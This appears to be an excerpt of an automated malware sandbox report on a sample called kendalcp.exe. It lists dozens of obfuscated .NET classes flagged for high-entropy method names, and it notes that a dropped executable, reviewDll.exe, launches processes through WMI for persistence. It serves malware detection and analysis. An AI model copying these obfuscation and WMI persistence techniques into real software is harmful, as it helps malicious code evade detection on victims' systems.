Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, R2rQ9iPA5HTuQdSvRc7.cs	High entropy of concatenated method names: 'nNWux7jBUS', 'pHBuSt6cDD', 'xyGuTXcS13', 'pP2ugfYN12', 'vtZuKst1pc', 'hxsuVf2Z47', 'LKSuHcLDdg', 'sY3utCm09r', 'Jk4uuWnCbi', 'oqTurafy6G'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, Mc1PsyHJtAv3V2CwiZ.cs	High entropy of concatenated method names: 'zjrlrxHOE', 'gsqoOSDZw', 'SNvb5GTLy', 'ueTf1vyLe7AhxMfDo70', 'afy0CXy8JPRhf5veiKS', 'h4wuxMylPQdlfnnVx6k', 'MJ0uQnyidWk7futO43F', 'YrlYshypHnI0dsX6x3k', 'hfJpUgyArebsMNOL0Oa', 'XMEOkvy7ic1kR3VgL9L'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, BX9UoBII5nWL9DXxweK.cs	High entropy of concatenated method names: 'tO4', 'YZ8', '_4kf', 'G9C', 'FnMnpECmUp8KBmjECTl', 'QXGLbdCKINHdiFrNwrk', 'oks5lfCO25SHKHnrDRt', 'l2qZqbCcMcv11mZoFhl', 'yMkkhrCnZW8DFhLpko1', 'pMPZ9ACgfdM624dtsMm'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, SEgRysisa4PE4VnoeF.cs	High entropy of concatenated method names: '_468', 'YZ8', '_2M1', 'G9C', 'ikLay34vNtNmmAVpahj', 'XjgyEu4jOhBODr37fNQ', 'SjCE3r4maFEx1AvUSu3', 'FdrCKm4KMJUbcjRxB1l', 'mbZirc4O14v4naNe8pA', 'FdeUXs4chBxjWH9iwTd'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, RWsSlgc0DBSp29ZbJ5q.cs	High entropy of concatenated method names: 'fPjx5OWnok', 'MI7x6IFDib', 'OynxYlvFYN', 'GH5rLmlpKO9Spv6RZED', 'Hkms2BlLY5DVyf0I1bo', 'A3pIQMliAcUw14ycO9N', 'YN8GpwlAwUWdB5j6X7u', 'p0yx1El7egCSbj5vCFv', 'qNwbF8l0eK5hdtmIPPi', 'JXL528lHyUUL4FJjydA'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, TImxWNzEdDOxLKiIEZ.cs	High entropy of concatenated method names: 'Y29', 'YZ8', 'jn6', 'G9C', 'ddc3pdCIslwRQ5xCpVl', 'dtgCNqC4siP1oaODXNm', 'UGiV9DCQxsIEgh2KK7S', 'mOs6pCCCRWVGFmtwvxg', 'NShC1pCrWXBNpNpVd8K', 'hNP1NBCPvTvVBPnQTx9'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, LZ9u2SP51Dnfs5px2K.cs	High entropy of concatenated method names: 'CSYqRP5qU', 's6y7pyMn2PgMg7RJSJ', 'XtAwo4qYFbDcMyy5q6', 'YAg5qJ2d7SmqSbNbRl', 'k3csOPDstcI3V2rKH4', 'SWlrnwtDqjhQZ7IL4s', 'OQyv8dKgx', 'ydXWUWH7L', 'oyKaKpeeG', 'TawBylIaw'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, TtOZNkIt1L8IiKmqVwV.cs	High entropy of concatenated method names: '_589', 'YZ8', '_491', 'G9C', 'BykZlsG9cCS5OhuAndD', 'whG4DFGRCOxMeD7wcuq', 'XAhfxDGEXseR05LDSBM', 'CXxgxiGu82J6Q5YLiZI', 'wxv43IG1WBjhbJX7gqf', 'JpF20MGWqrdenmpnq4C'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, S6qdEpPmOL6RxsaYM4H.cs	High entropy of concatenated method names: 'RSYB8DVVr4elj', 'ONm1fMTUaYCV9JVpj94', 'qOkWh4TSBxR7JE8aRQ9', 'nhXo9FTxLWYy1JmBNtj', 'IhPeW6TvOjbnraFYpgq', 'gCjH3aTjG3wkLo5ZppO', 'VsyFTpT3ixp4LAnbjNG', 'HicbHWTYUTNW7Aqts0p', 'Cq2AS2TmY0lRC6TGEKo', 'VMMEyrTKgd0crsnMaiw'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, x2vmPE7sNm99TCjNA33.cs	High entropy of concatenated method names: 'D4M', '_4DP', 'HU2', '_4Ke', '_5C9', '_7b1', 'lV5', 'H7p', 'V5L', '_736'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, br1dL97AA6HIC6sHcyO.cs	High entropy of concatenated method names: '_7tu', '_8ge', 'DyU', '_58f', '_254', '_6Q3', '_7f4', 'B3I', '_75k', 'd4G'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, FbDvpgyplixo8OSj0gn.cs	High entropy of concatenated method names: 'sg9', 'oj2P7D7J2T', 'NuX0ndR6Iy', 'jZfPq1ZKmd', 'x7PwB5noGAgnuKCfXBs', 'R7xVfpn9qJFS6HJPKjS', 'jAkKkFnREvOkEi6rqhO', 'CtVruAnTFI3SWI2wI9f', 'mNw7LZnNVaeOY7YTifh', 'Js4n6DnE28eKpcMmaHT'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, ASmWYPBXlf7EZ66C4Hu.cs	High entropy of concatenated method names: 'uxk', 'q7W', '_327', '_958', '_4Oz', 'r6z', 'r7o', 'Z83', 'L5N', 'VTw'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, x3VUm1Bs8fvlQlo7gUK.cs	High entropy of concatenated method names: 'ybgq4v36ct', 'zvYqlqLMat', 'SxRqoNBTp9', 'SOUqbTspgU', 'dBdq1mUuGh', 'VBp1ePVmQpYAnn304m5', 'NQTVugVv4ld6SQ4q2nY', 'RH0KMNVjmDLSwtHmfRF', 'CH0ei6VKX1BGnKagxBc', 'QFAtCaVOmL79T2rFkhv'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, P6981W8vb1a21GaCxQ.cs	High entropy of concatenated method names: '_88Z', 'YZ8', 'ffV', 'G9C', 'VuG7ixQHQPVaTIHkmIQ', 'tT5618QTTR2TPt6AS82', 'sqIVgFQNBB4VEZc6Rjc', 'i3pwrRQo146DWNRHiCh', 'j5pOlLQ9pacgNP5MKRa', 'RrNDxbQRNyZkc9cHURX'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, CsjROoIsXbUg1vwYS52.cs	High entropy of concatenated method names: 'Ai7', 'YZ8', '_56U', 'G9C', 'VCHV4APJSnuwGT37mIC', 'iFTLeKPzhfSv9WYuVKr', 'kBn0Rr6sZlPRGohL0hJ', 'd3oukY6yFTugVP0xqql', 'z8MLpK6dR5u0nUscBf7', 'V63EFL6I3e4bBYLqEF1'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, qrqy5tBcywgHpv86icZ.cs	High entropy of concatenated method names: 'viJRATVXyS', 'Qhq4jLhjVBx7QPwiHfE', 'IO21Hihm40ML3n3E2pC', 'vePMS6hxExF2WJanpnq', 'gc2YLxhvYxrwe2OvYe0', 'f6eCtrcfeN', 'kk2CuyyaMK', 'vFkCrU8ZS4', 'KksC4hl6Ea', 'UKiCll8oA7'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, fCu2ZclngV8VKMff1X.cs	High entropy of concatenated method names: 'g25', 'YZ8', '_23T', 'G9C', 'B5JMFIXXK', 'QulmZtdtJgaOGZim6uH', 'jRtBFGd8soAiotLWlxO', 'oHqxELdlam8U3B8SukB', 'a2rJExdLAESlDgDlGqE', 'AFRdOhdin7YPUL357DX'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, IRTB23csIaevFm8IsIa.cs	High entropy of concatenated method names: 'YGLx7Gx1tp', 'GaPxXui6Ut', 'D0TxPqmPAn', 'dNDxmeWrRU', 'UotxM9uKq9', 'T40IKTlk3KdCxT3P7K2', 'StOK2rlaFkf2yEeVZZd', 'zwb42NlVBm3c3252YvR', 'vI24Xol5Flb2NG3dKdY', 'PtDtCZlePJ6VlrbL0vf'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, yjeOI874W9dx0SH8vv5.cs	High entropy of concatenated method names: 'xrNT2XovHF', 'XD8TevsUJ2', 'LVlTGiCO0H', 'zPdTZ0Wyyj', 'lSfT3FveE7', 'KbKk5SpBMg0M3aaMcXG', 'CM0w8fpwjh3kOedqw7O', 'CwURIPpJJo11H1s3R5A', 'HyTNFqpzqX83lZhBDdA', 'cxpnbAAsVxKO7A9omQl'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, vkZyVcyd7dyoWavLTif.cs	High entropy of concatenated method names: 'stP0Nk768E', 'y140JNvmgS', 'KhR0AEm9X8', 'UlSxpyc0Mg1fqxNFXvy', 'GdDrjucAg1ABmWloDlZ', 'zmxicEc7FSix6rAIN1k', 'SsbbOGcHBIJmCFOAy3B', 'mJb0EDTwaP', 'qX80df3l5T', 'leY0wunwCh'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, eKcWuFyDYXktA7237LV.cs	High entropy of concatenated method names: '_9YY', '_57I', 'w51', 'MgTPNY5oMl', '_168', 'kFqb0xghMZhffSIAF0q', 'uAtnIQgaTW5HQtpVvuM', 'PTlM23gVUhSh17mlyeo', 'XZ71V4gkStGV2HJvJTf', 'TW6tjig5TVYMcgfNsjf'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, QumSZkIQH0ZaropH0Nq.cs	High entropy of concatenated method names: 'eb8vUwpj9u', 'NvqvRcCAMF', 'zhuMn1GfPHKNgZh3n7s', 'JLHhC0GFAi1QAfb1Cqw', 'hI0t0MGGPegarlg2kwE', 'PMyQGUGX7oAByQIUGRC', 'J890rjG3oZifnpXNdjB', 'ADyuFyGYaUfpZcxcX0M', 'f3O1JZGUd6LT7s7qQec', 'VriXa7GSFcv3Y8wAdTW'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, mFouKLI5BtKQB2s85vN.cs	High entropy of concatenated method names: 'I8mvjcBYSn', 'Y8nvvOuVD3', 'udNvWJdi9L', 'Rhi4LNFEX1rZ0iSLLti', 'CAOnREFuQpY5925QM8S', 'TnvX3UF9CmVVoIoEuM5', 'qRQPR1FRR8h0TUDqlAE', 'RRkqMaF1irlPUTFJYl1', 'xh8LCIFWQ33sJscxSLY', 'teYFmeFZDA4sS2c8MYZ'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, yMXQhtBVeuT8kgHSCWN.cs	High entropy of concatenated method names: '_45b', 'ne2', '_115', '_3vY', 'M50qc7HWyT', '_3il', 'yZPqjZKQux', 'Gl3qvoBwOV', '_78N', 'z3K'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, a6jPG1cy389uA6l0Ipr.cs	High entropy of concatenated method names: 'hIBpmrMnqsp65tMAefD', 'PEtHcpMggq8HlVqLykd', 'DduLVhMOh5riyCW5K50', 'qbFoC5McoanN0tA44co', 'CCX2xZi3rC', 'fpreVnMaqY14gBaLKsn', 'Vn4iO6MVa3xpN70v1KJ', 'JaPlymMbdZ3IEt0rbS0', 'ep3fCbMh21S5odpc5i2', 'jbEs8cMkHM35PuhOJd6'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, gafJ3BybY2SEHxbt8ck.cs	High entropy of concatenated method names: '_223', 'CPCZEMOvD0LpwhIyoPR', 'xwyHD1Oj538AtKlCHql', 'ujRSaaOmGj1YEHCYQEV', 'QNqhhBOK2Bn96b3hLEP', 'cRJmnmOO3X9OA0dvd1L', 'wmYOFMOcEMMeN7k5uK6', 'OPYZ1BOnpEVGYHr5Dc5', 'VG6QoVOgeHTuvVtq0fM', 'PlbobmOb1Nnchqfd8mt'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, aoiRqPc1tUdI13RxfDq.cs	High entropy of concatenated method names: 'q4Y', '_71O', '_6H6', 'fZWS3HCxU9', '_13H', 'I64', '_67a', '_71t', 'fEj', '_9OJ'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, dFuTyMyiJYc9ruJNyEx.cs	High entropy of concatenated method names: '_5u9', 'JbcPdvEHar', 'VicCcuPktJ', 'wMvPLH0G5r', 'XCeMjTnBqnToDJWHXPY', 'mXdFqlnwPBP5kCydU4Z', 'xS5RC4nJABnQlRxeVVT', 'MoeYndnWAexQW5sWkrU', 'EiPKERnZ6HBoaDnPXkX', 'k2GsfmnzgbtOuwdaxOO'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, qTA164U9kDCU1p6fEd.cs	High entropy of concatenated method names: '_23T', 'YZ8', 'ELp', 'G9C', 'LAHYUKIZUKdb80qujQa', 'ekRiWIIBZjKO4v2M1oU', 'dvyPx9IwfhSH23e0ikc', 'jVOSRcIJCCUoKQnRDhL', 'CT8xJBIzqDEbYU5CMgL', 'Unftad4scoAXpdTVJWU'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, slE0ve6sQJLaEIMDI1.cs	High entropy of concatenated method names: '_52Y', 'YZ8', 'Eg4', 'G9C', 'HgBXna6Ko', 'FAyPtxdmNxtHVekJX7v', 'Y4pdGxdKNrUlDi3iA6b', 'rsTfAGdOUn829PupbJX', 'iHbp6xdcMPGOa1phQPp', 'EKyktKdnqZlLoMKMAB8'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, fwYoiqBm2k6kq2ZqLAG.cs	High entropy of concatenated method names: '_4J6', '_5Di', '_1y5', '_77a', '_1X1', '_7fn', 'OUK', '_8S4', 'wUn', '_447'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, L2wfFTyh69sd7X4YXPg.cs	High entropy of concatenated method names: 'eMSwM8iJIq', 'YU8wDoJZ7k', 'MIIwOQEwRp', 'y9bwh0yMqR', 'Ty1VCaODuDydCKf706u', 'IplJPFOtLxvxy7yqqtD', 'zA1nnEO8T5KZ2OJyrm8', 'lbuFLFO2XDyj4Dj3mdy', 'w99WMXOMgqKmuiRRMhd', 'p7pgxoOlY0fHJOFw4ai'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, DjYGv5cZxokpbFkZtGd.cs	High entropy of concatenated method names: 'LBQxftDhOS', 'MbVxiiSYbL', 'OaqxFocJBd', 'Dp2x8BmXeo', 'kGKxL2fAYF', 'B4rxnjCqe7', 'WJgSdNloKMe223DoyVT', 'q304p7lT1Cu9Cd1mSjZ', 'brZt4FlNZOIR8YXcgJv', 'QTgirZl9Fc5Ij8iDPAm'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, LA3x7PI0uaKbQh0dOPI.cs	High entropy of concatenated method names: 'TLojOU0V5a', 'nk51G6FdXR7fqfZ3MBu', 'BgsWVGFInRloeybEowl', 'f1pBNRFsx6tCnE9WATc', 'V0dWW1Fy3g3uApYSVbt', 'KrvfPiF4KtQkorXgsm8', 'OkAS6PFQVaOG6OEFWKd', 'o7AIwhFCgLvteXQftsO', 'FOPj5yQjRU', 'csCGbhF6OenKwDfJXFu'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, SZYlAB3fcG1eQHka0LN.cs	High entropy of concatenated method names: 'TigaqPwpMf', 'c3Ya9ThCRE', 'HOIQ0RUb1vlfc3J3h02', 'rH8HdBUh2NCPu739PXv', 'xqgaU3UndebO6dVBext', 'TdO20nUgNQAkDlULDIc', 'fZfSHJUaoc5xiPi0JmU', 'IhNovlUVTvnxFU7CCTJ', 'B8dQIUUkq413BiX8tXx', 'yndvC0U5cfekqqYDKEs'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, lEhl9F3Jy4WtSqZF21b.cs	High entropy of concatenated method names: 'RGeaecJW5a', 'ALgaGaspS8', 'tNdaZeiHpy', 'nyoa36cee0', 'SuVaxIp7rQ', 'gQWklgSsdri53V6eqot', 'XGUqeXSyojiEHGy4xP5', 'S5t1ddUJBPSCPd95MAs', 'syBNcvUzxD1sgNTpJqw', 'kyuQW8SdXUBLMyslWbi'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, SM4qM6BjhBJSpwhT4qI.cs	High entropy of concatenated method names: 'IiXI41A2rA', 'fRgIlAXFTB', 'PJRIoI702U', 's7YIbgCU0c', 'RhHI1SV9Ml', 'zTTke0atF2AjKcW7NOb', 'eYBt6Ya85YSQ6wSaGmu', 'bot0KoaMX9Tmitt022h', 'euoDVgaDfB69i0y9KVY', 'D4FyAvalW74csvwwhpo'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, ggvLrLPuejHMJvahmWu.cs	High entropy of concatenated method names: 'M6Fbj2TaYvShNmoBItS', 'JBbiBNTVx6945hfegIt', 'GTLqXCTbcI9X54odkfW', 'PuJps8ThRXThU7RVJ6M', 'KQFu9UqBmn', 'VTytR3TeG5FNbicnCJS', 'oT5tJGTq48DJFN13Zqu', 'aSqYQlT2IV7YvPDt9d5', 'ktvenbTMF5IEbGr7Bnr', 'Aaq3kFTDyqV19Gg2TPW'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, jJVSrG7ijBPII783cm3.cs	High entropy of concatenated method names: 'PJ1', 'jo3', 'jNeH0aAxpu', 'eGUHCcdbS0', 'YaBHUNXZeY', 'EC9', '_74a', '_8pl', '_27D', '_524'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, vwZhRE3NSocOklq9RER.cs	High entropy of concatenated method names: 'UUovSR6hFW', 'PltvTVoUUo', 'mWfvguMZw3', 'eHdw1ifMNV5XCgoCtso', 'bWUWNjfD1euZZvUYpP2', 'uhmow5ftOSRKOfDgsv6', 'oOWAyOf8nUhq3SPpSMG', 'hvZAweflO81IcxyGyAV', 'Ud590yfLYSU12H6wisC', 'myDGyjfqFUUFktVExDP'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, n3wbGiIdnJpVkq0Q9Dw.cs	High entropy of concatenated method names: 'ytjjH72pS7', 'lX8HaOPvBqNTDIbSFpH', 'CXt4VPPjRR0lPLWi6xY', 'Y5DY09PSReN0VZrgBPq', 'Egh1aJPxAecntv3Au9r', 'rZqKbgPmwnr7AgKpTEv', 'Fy0pGUPKxMGQxPkaNWM', 'K4B45BPOnHsBncVulVT', 'IPwYMoPcgq9BfaxaETE', 'f28'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, jKEO8D7CmsPMinuOUYu.cs	High entropy of concatenated method names: 'S85HZUEHfe', '_1kO', '_9v4', '_294', 'iibH3gmx8K', 'euj', 'pCfHxXYIgo', 'NHNHSKoXei', 'o87', 'MtGHT0KYah'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, mHGNRt7l5B4TKTiWiaG.cs	High entropy of concatenated method names: 'NcAXgx041mW83cli61V', 'x3mikZ0Q3oAqfaS0IVG', 'FaGSkr0dgZhcZnylQ87', 'LWbq3n0IfMokRjfWu0F', 'fcJglaUkFU', 'WM4', '_499', 'd45goIpiZD', 'gJegbvnP1r', 'uGIg1ryZGd'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, XKBILG33A9nmnd8Te8c.cs	High entropy of concatenated method names: 'YVbv5ET8B1', 'n0nv6hCEXa', 'FZZvYGHSUM', 'ciuvsW0CpH', 'Bx2vfi6bUS', 'YVJviCEd9n', 'CVgJauXv326BwCdvkML', 'ASvyTqXjPZTq4UZPoRv', 'Ec1XkJXSUItBqUFv623', 'NVSHlhXxpZdKw9LeQ0J'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, jAwLS03Ubibp4XgCETJ.cs	High entropy of concatenated method names: 'pllEwVy0Oq', 'GL5E0MA93o', 'NgvGUYvWU56UM2x1JUv', 'FV4TipvZ8gfuJ9T9Ifp', 'QgyhskvuI5Neib44BeK', 'F4bJsPv11YcOnddmkHp', 'FwcEAGGroE', 'm6ii35jsdPxMxWbhtvt', 'WDiIyWjyC77JAgyloRR', 'iJvGBcvJoALiCZcB1qm'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, KUlNYv3qMYNeroqHQaH.cs	High entropy of concatenated method names: 'TTXWnTdaSp', 'hOAWkB8u71', 'e2HsgGYm1aVo239KEnq', 'RGZraKYKe93kjyRjFFw', 'jld0ShYOumwInGZPNmm', 'AnfrmCYchKUjKWPDemx', 'qo8uj6YnEJ8Qukpk2GZ', 't9nbe4YgCFYCCVr9UWF', 'R69RCOYbrY0uqEGhDa7', 'hbCX0lYhk4p6tuhFQyh'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, cRM7Zv7NyOWGjUU824j.cs	High entropy of concatenated method names: 'QBrSOBOMR3', 'jU8Sh8bmue', 'tr1S5kEJK2', 'pZ2S6RjLmU', 'oybSYev9Fl', 'CarSs630My', '_838', 'vVb', 'g24', '_9oL'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, QVc7qoBt5R6Eoy7YhgW.cs	High entropy of concatenated method names: 'Tgg9nZJxyS', 'vsL9ltXZoG', 'nt89oH4XNB', 'jRR9br4gyf', 'yJH91Pu5xP', 'cJy97PfPHf', 'T889X7jhDY', 'TYx9PbF2GF', 'IbO9mIRJoJ', 'FFx9MgO9hk'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, cTD4vuyoSH273i2LgYm.cs	High entropy of concatenated method names: 'A2Hw6jrcQ7', 'DDawYmZe5T', 'G6swslwmNT', 'EyqW7cOTgJSKmMljjNq', 'Yv8re5ONMaYirxDjGOv', 'E28po3OodIygtZP6iye', 'dAZeumO9m0vmOahmpSn', 'ToIBBwORX6k7O40l1W3', 'lIItdgOEDtAjMN5ntMm', 'jtV0VlOusAqMejcuPLy'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, GSHtOTIX7n49m59cbHA.cs	High entropy of concatenated method names: '_3fO', 'YZ8', '_48A', 'G9C', 'vGoNuyrrZ4MdUCFpFdr', 'yE30YqrPbtuA2Ay2d4P', 'bf7PoUr6QDuBkDqOSgk', 'jwAxJqrF1EqwB7WEPBJ', 'OGAi2NrGMTToYlJEtOe', 'MPSJ7Crfd9otUkVUFwd'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, Dj80mSIPcmhpiCW5JSs.cs	High entropy of concatenated method names: '_6H9', 'YZ8', '_66N', 'G9C', 'V0IxMVCWoMMGrrDnRGZ', 'KWnua6CZOSpCtUyq9Jd', 'Us06bQCBftk9G9CliIS', 'ateZPCCwDaSLX4fPjaL', 'RKH7OxCJ56QxMBO6it8', 'FdDWD3Cz6NDiUvqjyto'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, cKm6rXIv7j5ptVU4KoA.cs	High entropy of concatenated method names: 'GvP', 'YZ8', 'bp6', 'G9C', 'b4F5QQ68yWFgKxyjVan', 'GaupFF6lNc9SX2FMByx', 'eGUAnR6L6XmfdYsMsRC', 'QMVao16ivTlSRMIZSHO', 'nteSoZ6pFonqDpTI0ld', 'ewX56i6AHUvnjsvjkyi'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, qw8wmqIh0NQTp2y6Zr0.cs	High entropy of concatenated method names: 'rU3', 'YZ8', 'M54', 'G9C', 'JXIKvlriMIlgYmRgOxi', 'mu5JSSrpSWeJA2mTHjW', 'rTQiYCrAX9eR46QaL9Q', 'V8bEJyr77G0l13JretZ', 'PneOojr0X26bFPeqUEm', 'd75YrSrH3FwE0gVKw1o'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, qj2G9UI8lTth7tUTjN7.cs	High entropy of concatenated method names: 'EoNvQJC21J', 'jqibBJfC4qqZbGZ3Fwq', 'QHqY5tfrL3pVvmOWEL8', 'rUSJCrf4HLFIZC6rddK', 'cF0hI9fQ2XH6MS15c8P', 'fQFEyifPKKDAZvr7xVi', '_5q7', 'YZ8', '_6kf', 'G9C'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, HnnVubIbHgqDpGahRmj.cs	High entropy of concatenated method names: 'd43', 'YZ8', 'g67', 'G9C', 'OwkSWprVeuQtuCgO3vZ', 'clp8o5rkoWb7NpnvahB', 'egDsDyr5DxlBAo4YmmN', 'E7vyfPre8Vy3oqDXG1a', 'XR2ldmrqyoCCnRSanPG', 'MLPvMcr2ieGAfKALWNx'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, bLVxeU226kHBJkVFvV.cs	High entropy of concatenated method names: '_59M', 'YZ8', '_1zA', 'G9C', 'ypxKVrI8bUCkc6raSl7', 'WuMx5QIlGFOQN5kqw84', 'pRKnGRILeB9EriDmdpD', 'oIXMiKIiq6lpJ44FBku', 'aiM7JpIpbZGpqaldgIp', 'iQ4uX3IAHJF51MIG8sw'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, y0aKJdcKZWltogk6x05.cs	High entropy of concatenated method names: '_14Y', 'b41', 'D7Y', 'xMq', 'i39', '_77u', '_4PG', '_5u8', 'h12', '_2KT'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, G65j4CckHJfIQcCGrjS.cs	High entropy of concatenated method names: 'IBlSaLAWpU', 'S2hSB2mcVQ', 'JfSSEtsOUa', 'tLHSdcOOni', 'EPUSwFO9qv', 'wE2S0yIvrm', 'T3fSC4ImMC', 'QE0SUhkFGM', 'VK6SRVX5rW', 'DgASIvb77M'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, G7aN073RuyHDptK1pJj.cs	High entropy of concatenated method names: 'K4vdS9kLAe', 'yqYYYqjRNKQPOjEOFGC', 'DsEOSSjohnuhIXGFmCG', 'rq0glOj9nDmUMcWDVXx', 'xjnxQujExnuex8rqr4U', 'HaYUApjuUL8aHfpxNZ8', 'MH0dy8AAmP', 'lMhdQEicO9', 'TnJd2FK1ue', 'xsPdeJbBW0'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, AqYLYRIr6daSi6qjgIw.cs	High entropy of concatenated method names: 'yiQ', 'YZ8', '_5li', 'G9C', 'xLsX31PsXOk7RqVg3ss', 'mvObjbPyEqfHyqGojsy', 'gcPiCIPdt8EiTfs7RBr', 'qX0pf3PIVECUcCXRrbe', 'QwZQaCP4LL2VbwVBiXA', 'rsUy3fPQ6S2D25V8r4m'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, ODS3Z0ISaNyVIaD9Jq7.cs	High entropy of concatenated method names: 'kNf', 'YZ8', 'U31', 'G9C', 'KRAAMePtSjNE72c6gRD', 'fXIf7eP84gnrKvTo4dD', 'xut9MAPlKlq3ZOdDZS6', 'xkcxhuPLmPXZgL7Q1Rp', 'NOatEePiocmFf2GCaY5', 'HQPs8QPpWxEQXMKwtXl'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, M4IDb0IRak2UAOgXUqH.cs	High entropy of concatenated method names: 'IORvZnkUje', 'saXv3KVNdm', 'ySmvxSAxuJ', 'dVbZ9jfGfILkmsBnqrM', 'mhcTG5f6lLgxaLHcgg4', 'kOj2nNfFiUeBf93DgMu', 'ubs9rEffvLKsDNrH3xY', 'PJxMvpfXdHVRpFfVyVv', 'SpSLlYf3TmwQaqdGZGC', 'k8tW2JfYdWSZjcYF1c0'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, Ar5Q1oWtq1A0b05ZTx.cs	High entropy of concatenated method names: '_52U', 'YZ8', 'M5A', 'G9C', 'voCStrQ1chEdxQQX9kr', 'IuYMxSQWJNslIYJRt0Z', 'vEtYxEQZ3AHqEB6Zlqt', 'TJuS0jQBFgf3n58qPFL', 'XSieYbQwe1EkNqmwKju', 'jTaDFdQJoaGfTIDvimU'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, NhqDW73nXP2L2pOvPFA.cs	High entropy of concatenated method names: 'G4dBHfhpxt', 'J7ZA3OxwsUVJnVO5dBY', 'muLCU5xJi7dqv0D1qom', 'm7EdHaxZiQlsCNuyFGx', 'drJh5qxB2tbhgaKWSIy', 'fB7hJHxzrVjUkNTismZ', 'THZpbvvsuM4ZFWydJT3', 'LU7rpAvyuN04upM9iKM', 'OniAJRvdJRj2sdqDrD3', 'V8LchNvIxAe2oVhNoB4'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, Snrmidy4IQ1sNW8K2jd.cs	High entropy of concatenated method names: '_525', 'L97', '_3t2', 'UL2', '_6V2', '_968', 'A2Y8N8n3yPoZPT4090v', 'YHRcjunY3jM4rgPUo52', 'v3LrhNnUBSRvbcA3LVR', 'GLQEFonS2mHoe23aIAw'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, zt3dNl3hPhWZ4UeEoM3.cs	High entropy of concatenated method names: 'VOXW8sf9iR', 'B98qoEYIFG5uI4e1my6', 'OjQvqwY491ZK1EA1rl2', 'B8OGhaYygA4fMtuhMKd', 'TLo82JYdDPvxTqJvDef', 'N0ac3rYQXMgkfpGvhcm', 'iKbOs9YCWxkTOXAnmrF', 'jsJ4CFYrvuxYYoyEhZy', 'DWnel3YPJ6pasW0JVa4', 'HOLK8pY6XinM0489uVB'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, EVc3vCIcEmn2IrnY8ww.cs	High entropy of concatenated method names: 'K55', 'YZ8', '_9yX', 'G9C', 'ThkD2iCTW2mb8sEWCK6', 'uiMuslCNg5MtBYviNyY', 'S80oo9CoChtmZO5vkOI', 'xP91pTC9BJ7Bo4yCPIY', 'bQGFqoCR2AcMoeUOyKJ', 'mq0I6TCEd28owWNQGIu'

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\blocksavesperfMonitorDll\reviewDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
